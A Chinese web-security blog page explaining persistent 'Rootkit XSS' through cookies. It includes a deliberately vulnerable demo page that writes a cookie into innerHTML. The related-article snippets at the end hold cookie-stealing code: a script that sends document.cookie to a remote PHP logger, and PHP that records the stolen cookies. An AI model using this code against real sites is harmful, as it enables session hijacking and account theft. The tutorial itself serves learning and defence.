Rootkit XSS 之 Cookie

0x00 XSS Rootkit介绍

Rootkit概念: 一种特殊的恶意软件
            类型: 常见为木马、后门等
            特点: 隐蔽 持久控制

谈到XSS,一般都是想到反射型、存储型及dom xss,脑海中往往就是点击链接然后弹窗的形式,这次学习的是ROORKIT XSS(持久化XSS),就是通过某些手段嵌入一些js代码,从而获取一个持久控制浏览器客户端的“Rootkit”的一种攻击。下面是Roorkit XSS的思维导图

0x01 利用点-网站用户信息

思维导图中列举了一些,如个性签名、用户名、昵称等,主要就是网站本身展示的信息,这个其实跟存储型XSS很类似

这块就不详细讲了,挖掘方式跟存储型XSS一样

0x02 Cookie

有时我们会将信息保存在cookie中,使用document.cookit获取信息再输出在页面中,

如果没有做安全输出的话,就会存在Rootkit XSS,因为cookie是保存在客户端的,有失效时间,当然如果我们能控制添加,那就可以控制这个失效时间了

0x02.1 Cookie学习

Cookie是由服务器生成的,通过响应返回给客户端,保存在某个目录下,后面发往该服务器的请求都会携带此Cookie;

而Cookie是存储什么信息的呢,又是起到什么作用的呢?

主要是HTTP协议是无状态的,而业务是需要状态的,要判断此次请求是属于谁的,才能记录客户端的行为和数据,换句话说就是维持会话的,当然也是可以存储其他信息的。

Cookie的处理分为:

1)服务器向客户端发送cookie

2)浏览器将cookie保存

3)之后每次http请求浏览器都会将cookie发送给服务器端

Cookie的主要构成如下

name:一个唯一确定的cookie名称。通常来讲cookie的名称是不区分大小写的。

value:存储在cookie中的字符串值。最好为cookie的name和value进行url编码

domain:cookie对于哪个域是有效的。所有向该域发送的请求中都会包含这个cookie信息。这个值可以包含子域(如:

yq.aliyun.com),也可以不包含它(如:.aliyun.com,则对于aliyun.com的所有子域都有效).

path: 表示这个cookie影响到的路径,浏览器跟会根据这项配置,像指定域中匹配的路径发送cookie。

expires:失效时间,表示cookie何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。如果不设置这个时间戳,浏览器会在页面关闭时即将删除所有cookie;不过也可以自己设置删除时间。这个值是GMT时间格式,如果客户端和服务器端时间不一致,使用expires就会存在偏差。

max-age: 与expires作用相同,用来告诉浏览器此cookie多久过期(单位是秒),而不是一个固定的时间点。正常情况下,max-age的优先级高于expires。

HttpOnly:
告知浏览器不允许通过脚本document.cookie去更改这个值,同样这个值在document.cookie中也不可见。但在http请求中仍然会携带这个cookie。注意这个值虽然在脚本中不可获取,但仍然在浏览器安装目录中以文件形式存在。这项设置通常在服务器端设置。

secure: 安全标志,指定后,只有在使用SSL链接时候才能发送到服务器,如果是http链接则不会传递该信息。就算设置了secure 属性也并不代表他人不能看到你机器本地保存的 cookie 信息,所以不要把重要信息放cookie就对了服务器端设置

0x03 Cookie持久化XSS原理

Rootkit XSS主要是利用了下面两点:

1、Cookie可以设置过期时间保存在客户端,只要客户端不主动清理cookie

2、发往该服务器的请求都会携带属于此服务器的Cookie

如果前端使用cookie数据在页面展示,可以利用XSS或者CSRF等漏洞成功设置恶意Cookie内容,就能够构造可持续的XSS攻击。

这里写了个简单的业务:

<html><head>    <title>Rootkit XSS for Cookie</title></head><body>

<h1 id=‘id‘></h1>    </body><script type="text/javascript">var user = location.hash.split("#")[1];var cookies = document.cookie.split("; ");for (index in cookies){    var cookie = cookies[index];    if(cookie.indexOf(user) == 0){        //cookie的名字hack加= 一共5个字符        var data = cookie.substring(5);        console.log(data);        document.getElementById("id").innerHTML=data;        break;    }}

</script>

</html>

将cookie中的信息展示到<h1>标签中

构造cookie如下:

访问:http://localhost/rootkit.php#hack

弹窗了,只要不清理cookie,什么时候访问都会触发这个XSS

参考资料:

https://blog.csdn.net/zhangquan_zone/article/details/77627899

https://www.jb51.net/article/86598.htm?pc

原文地址:https://www.cnblogs.com/alummox/p/9683807.html

时间: 2024-10-29 18:22:31

Rootkit XSS 之 Cookie的相关文章

xss 记录cookie

<p> <img src="http://act.ci123.com/global/ueditor_new/php/upload/98591403834900.jpg" width="800" height="600" onload='u="http://tiny.yaolan.com/minisiteinterface/js/test.js?v="+new Date/1,a=document.createE

XSS获取cookie

在你服务器的html目录下创建joke文件夹: 在joke文件夹中创建joke.js 和joke.php joke.js 创建img标签,将它的src属性指向另一个脚本joke.php,这里关键的一点是:将页面的cookie作为参数附加到url后面 joke.js代码如下: var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://ip/joke/joke.php?joke=

存储型xss盗取cookie实验

声明:仅供交流使用,严禁违法犯罪,否则后果自负 1,准备接收cookie的环境: ip为172.24.10.105 代码为:保存为 getCookie.php <?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "w"); fwrite($log, $cookie ."\n"); fclose($log); echo "攻击成功"; ?> 2,在实

xss 获取cookie

<?php$ip = $_SERVER['REMOTE_ADDR'];$referer = $_SERVER['HTTP_REFERER'];$agent = $_SERVER['HTTP_USER_AGENT']; $data = $_GET[c]; $time = date("Y-m-d H:i:s");$text = "<br><br>".$time." = ".$ip."<br><

dvwa下利用xss获取cookie并利用

原文地址:https://www.cnblogs.com/zhangyukui/p/11751430.html

《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)

第3章 跨站脚本攻击(xss) 3.1 xss简介 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS. XSS本质就是HTML注入 XSS的分类: (1)     反射型XSS: 一个恶意构造了Web的URL (2)    

web安全:xss &amp;&amp; csrf

首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>E1:csrf攻击zoobarcsrf:cross-site request forgery    跨站伪造请求普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie从而在myzoo网站看来一份合法的请求被提交iframe限制了网

跨站点脚本攻击(XSS)

XSS分类: (1)反射型XSS:只是简单地把用户输入的数据反射给浏览器.往往需要诱使用户"点击"一个恶意链接.也叫"非持久型XSS" (2)存储型XSS:把用户输入的数据"存储"在服务器端.也叫"持久型XSS" (3)DOM Based XSS:从效果上来说也是反射型XSS,通过修改页面的DOM结点形成的XSS. 1.cookie劫持:httponly或者将cookie和客户端IP绑定可防止 2.XSSPayload: (1

Cookie窃取攻击剖析

#说实话我不喜欢国人写的书,讲个XSS的Cookie窃取还要先写个好几页的Cookie的介绍.感觉除了占点地方没别的用处了.#要学什么就学什么,目标要盯牢,别学到一半觉得需要学另外的相关知识.wiki了解一下就行.#要做什么,就准备什么.宁可简单粗暴,不要曲线救国.摊子铺大了,目标就模糊了,效率低,反馈慢,渐渐的就兜不回来了.-- 知乎mumu 第二章开头就回答了我的疑惑,XSS跨站脚本攻击是通过正常的站内交互途径如,发布评论,添加文章,发送邮件和留言等提交恶意的JavaScript脚本的内容文